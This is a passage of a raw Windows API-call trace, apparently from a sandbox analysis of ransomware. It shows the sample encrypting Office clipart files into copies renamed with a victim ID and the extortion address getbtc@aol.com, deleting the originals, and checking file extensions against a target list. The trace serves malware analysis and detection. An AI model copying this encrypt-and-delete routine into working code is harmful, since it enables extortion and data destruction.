(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0243.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.137] GetLastError () returned 0x0 [0243.137] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0243.152] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0243.154] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.154] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.154] SetEndOfFile (hFile=0x3a0) returned 1 [0243.154] CloseHandle (hObject=0x3a0) returned 1 [0243.154] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.154] SetEndOfFile (hFile=0x388) returned 1 [0243.159] CloseHandle (hObject=0x388) returned 1 [0243.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0243.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.160] lstrlenW (lpString=".doc") returned 4 [0243.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.160] lstrlenW (lpString=".docx") returned 5 [0243.160] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.160] lstrlenW (lpString=".pdf") returned 4 [0243.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.160] lstrlenW (lpString=".xls") returned 4 [0243.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.160] lstrlenW (lpString=".xlsx") returned 5 [0243.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.160] lstrlenW (lpString=".ppt") returned 4 [0243.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.160] lstrlenW (lpString=".zip") returned 4 [0243.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.160] lstrlenW (lpString=".rar") returned 4 [0243.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.160] lstrlenW (lpString=".bz2") returned 4 [0243.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.160] lstrlenW (lpString=".7z") returned 3 [0243.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString=".dbf") returned 4 [0243.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString=".1cd") returned 4 [0243.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString=".jpg") returned 4 [0243.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString=".doc") returned 4 [0243.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.161] lstrlenW (lpString=".docx") returned 5 [0243.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.161] lstrlenW (lpString=".pdf") returned 4 [0243.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString=".xls") returned 4 [0243.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString=".xlsx") returned 5 [0243.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.161] lstrlenW (lpString=".ppt") returned 4 [0243.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.161] lstrlenW (lpString=".zip") returned 4 [0243.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString=".rar") returned 4 [0243.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.161] lstrlenW (lpString=".bz2") returned 4 [0243.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.161] lstrlenW (lpString=".7z") returned 3 [0243.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.162] lstrlenW (lpString=".dbf") returned 4 [0243.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.162] lstrlenW (lpString=".1cd") returned 4 [0243.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0243.162] lstrlenW (lpString=".jpg") returned 4 [0243.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.162] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0243.162] lstrlenW (lpString="BD19582_.GIF") returned 12 [0243.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.176] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15733) returned 1 [0243.176] CloseHandle (hObject=0x204) returned 1 [0243.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0243.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.188] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.188] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.188] GetLastError () returned 0x0 [0243.188] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0243.192] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0243.193] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.193] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.193] SetEndOfFile (hFile=0x204) returned 1 [0243.205] CloseHandle (hObject=0x204) returned 1 [0243.205] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.205] SetEndOfFile (hFile=0x3a4) returned 1 [0243.208] CloseHandle (hObject=0x3a4) returned 1 [0243.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0243.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.232] lstrlenW (lpString=".doc") returned 4 [0243.232] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.232] lstrlenW (lpString=".docx") returned 5 [0243.232] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.232] lstrlenW (lpString=".pdf") returned 4 [0243.232] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.232] lstrlenW (lpString=".xls") returned 4 [0243.233] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString=".xlsx") returned 5 [0243.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.233] lstrlenW (lpString=".ppt") returned 4 [0243.233] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString=".zip") returned 4 [0243.233] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString=".rar") returned 4 [0243.233] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString=".bz2") returned 4 [0243.233] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.233] lstrlenW (lpString=".7z") returned 3 [0243.233] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString=".dbf") returned 4 [0243.233] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString=".1cd") returned 4 [0243.233] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString=".jpg") returned 4 [0243.233] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.233] lstrlenW (lpString=".doc") returned 4 [0243.233] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.233] lstrlenW (lpString=".docx") returned 5 [0243.233] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.233] lstrlenW (lpString=".pdf") returned 4 [0243.233] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString=".xls") returned 4 [0243.233] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.233] lstrlenW (lpString=".xlsx") returned 5 [0243.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.234] lstrlenW (lpString=".ppt") returned 4 [0243.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.234] lstrlenW (lpString=".zip") returned 4 [0243.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.234] lstrlenW (lpString=".rar") returned 4 [0243.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.234] lstrlenW (lpString=".bz2") returned 4 [0243.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.234] lstrlenW (lpString=".7z") returned 3 [0243.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.234] lstrlenW (lpString=".dbf") returned 4 [0243.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.234] lstrlenW (lpString=".1cd") returned 4 [0243.234] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0243.234] lstrlenW (lpString=".jpg") returned 4 [0243.234] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.234] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.234] lstrlenW (lpString="BD19827_.WMF") returned 12 [0243.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.235] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9710) returned 1 [0243.235] CloseHandle (hObject=0x398) returned 1 [0243.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0243.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.235] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.235] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.236] GetLastError () returned 0x0 [0243.236] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0243.239] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0243.240] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.240] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.240] SetEndOfFile (hFile=0x200) returned 1 [0243.241] CloseHandle (hObject=0x200) returned 1 [0243.241] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.241] SetEndOfFile (hFile=0x398) returned 1 [0243.246] CloseHandle (hObject=0x398) returned 1 [0243.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString=".doc") returned 4 [0243.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".docx") returned 5 [0243.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.291] lstrlenW (lpString=".pdf") returned 4 [0243.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".xls") returned 4 [0243.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.291] lstrlenW (lpString=".xlsx") returned 5 [0243.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.291] lstrlenW (lpString=".ppt") returned 4 [0243.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString=".zip") returned 4 [0243.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.291] lstrlenW (lpString=".rar") returned 4 [0243.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".bz2") returned 4 [0243.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".7z") returned 3 [0243.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString=".dbf") returned 4 [0243.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString=".1cd") returned 4 [0243.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.291] lstrlenW (lpString=".jpg") returned 4 [0243.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString=".doc") returned 4 [0243.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".docx") returned 5 [0243.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.292] lstrlenW (lpString=".pdf") returned 4 [0243.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".xls") returned 4 [0243.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.292] lstrlenW (lpString=".xlsx") returned 5 [0243.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.292] lstrlenW (lpString=".ppt") returned 4 [0243.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString=".zip") returned 4 [0243.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.292] lstrlenW (lpString=".rar") returned 4 [0243.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".bz2") returned 4 [0243.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString=".7z") returned 3 [0243.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString=".dbf") returned 4 [0243.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString=".1cd") returned 4 [0243.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0243.292] lstrlenW (lpString=".jpg") returned 4 [0243.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.293] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.293] lstrlenW (lpString="BL00008_.WMF") returned 12 [0243.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.317] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=12520) returned 1 [0243.317] CloseHandle (hObject=0x398) returned 1 [0243.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0243.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.428] SetFilePointerEx (in: hFile=0x3b8, 